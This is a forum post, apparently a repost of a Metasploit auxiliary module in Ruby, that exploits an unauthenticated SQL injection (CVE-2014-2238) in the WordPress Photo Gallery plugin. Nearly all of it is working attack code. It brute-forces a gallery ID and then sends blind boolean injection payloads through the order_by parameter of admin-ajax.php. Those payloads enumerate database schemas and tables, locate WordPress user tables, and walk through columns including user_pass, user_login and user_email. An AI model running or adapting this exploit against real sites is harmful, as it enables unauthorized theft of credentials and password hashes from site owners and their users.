Jump to content
Aerosol

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration

Recommended Posts

Posted

##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration",
'Description' => %q{
This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress
users tables, including password hashes. This module was tested against version 1.2.7.
},
'License' => 'ExploitHub',
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
],
'References' =>
[
['CVE', '2014-2238'],
],
'Platform' => ['win', 'linux'],
'Privileged' => false,
'DisclosureDate' => "Feb 28 2014"))

register_options(
[
OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]),
OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/'])
], self.class)
end

def get_params
{
'tag_id' => 0,
'action' => 'GalleryBox',
'current_view' => 0,
'image_id' => 1,
'gallery_id' => 1,
'theme_id' => 1,
'thumb_width' => 180,
'thumb_height' => 90,
'open_with_fullscreen' => 0,
'open_with_autoplay' => 0,
'image_width' => 800,
'image_height' => 500,
'image_effect' => 'fade',
'sort_by' => 'order',
'order_by' => 'asc',
'enable_image_filmstrip' => 1,
'image_filmstrip_height' => 70,
'enable_image_ctrl_btn' => 1,
'enable_image_fullscreen' => 1,
'popup_enable_info' => 1,
'popup_info_always_show' => 0,
'popup_info_full_width' => 0,
'popup_hit_counter' => 0,
'popup_enable_rate' => 0,
'slideshow_interval' => 5,
'enable_comment_social' => 1,
'enable_image_facebook' => 1,
'enable_image_twitter' => 1,
'enable_image_google' => 1,
'enable_image_pinterest' => 0,
'enable_image_tumblr' => 0,
'watermark_type' => 'none',
'current_url' => ''
}
end

def bruteforce_gallery_id
1.upto(666) do |i|
get_vars = get_params
get_vars['gallery_id'] = i
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => get_vars
})

return i if res and res.body =~ /data\["0"\] = \[\];/
end

fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID")
end

def run
gallery_id = datastore['GALLERYID']

if gallery_id == 0
print_status('No GALLERYID supplied, attempting bruteforce.')
gallery_id = bruteforce_gallery_id
print_status("Found a gallery with an ID of #{gallery_id}")
end

parms = get_params
parms['gallery_id'] = gallery_id

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => parms
})

real_length = res.body.length

count = nil
1.upto(999) do |i|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

count = i if res.body.length == real_length
break if count
end

print_status("Looks like there are #{count} databases.")

schemas = []
0.upto(count-1) do |i|
length = nil

1.upto(999) do |c|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) "
payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*"
payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

length = c if res.body.length == real_length
break if !length.nil?
end

print_status("Schema #{i}'s name has a length of #{length}. Getting name.")

name = ''
1.upto(length) do |l|
126.downto(32) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
name << (c+1).chr if res.body.length == real_length
break if res.body.length == real_length
end
end
schemas << name
print_status("Found database #{name}")
end

schemas.delete('mysql')
schemas.delete('performance_schema')
schemas.delete('information_schema')

schemas.each do |schema|
num_tables = nil
1.upto(999) do |i|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

num_tables = i if res.body.length == real_length
break if num_tables
end

print_status("Schema #{schema} has #{num_tables} tables. Enumerating.")

tables = []
0.upto(num_tables - 1) do |t|
length = nil
0.upto(64) do |l|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

length = l if res.body.length == real_length
break if length
end

print_status("Table #{t}'s name has a length of #{length}")

name = ''
1.upto(length) do |l|
126.downto(32) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

name << (c+1).chr if res.body.length == real_length
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
break if res.body.length == real_length
end
end
print_status("Found table #{name}")
tables << name if name =~ /users$/
end

print_status("Found #{tables.length} possible user tables. Enumerating users.")

tables.each do |table|
table_count = ''
char = 'a'

i = 1
while char
char = nil
58.downto(48) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

char = (c+1).chr if res.body.length == real_length
vprint_status("Found char #{char}") if char
table_count << char if char
break if char
end
i = i + 1
end

table_count = table_count.to_i

print_status("Table #{table} has #{table_count} rows.")
user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"]

0.upto(table_count-1) do |t|
user_cols.each do |col|
i = 1
length = '0'
char = 'a'

while char
char = nil
58.downto(48) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

char = (c+1).chr if res.body.length == real_length
vprint_status("Found char #{char}") if char
length << char if char
break if char
end
i = i + 1
end

length = length.to_i
print_status("Column #{col} of row #{t} has a length of #{length}")
end
end
end
end
end

def send_injected_request(payload, gallery_id)
parms = get_params
parms['gallery_id'] = gallery_id
parms['order_by'] = 'asc ' + payload

return send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => parms
})
end

end

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...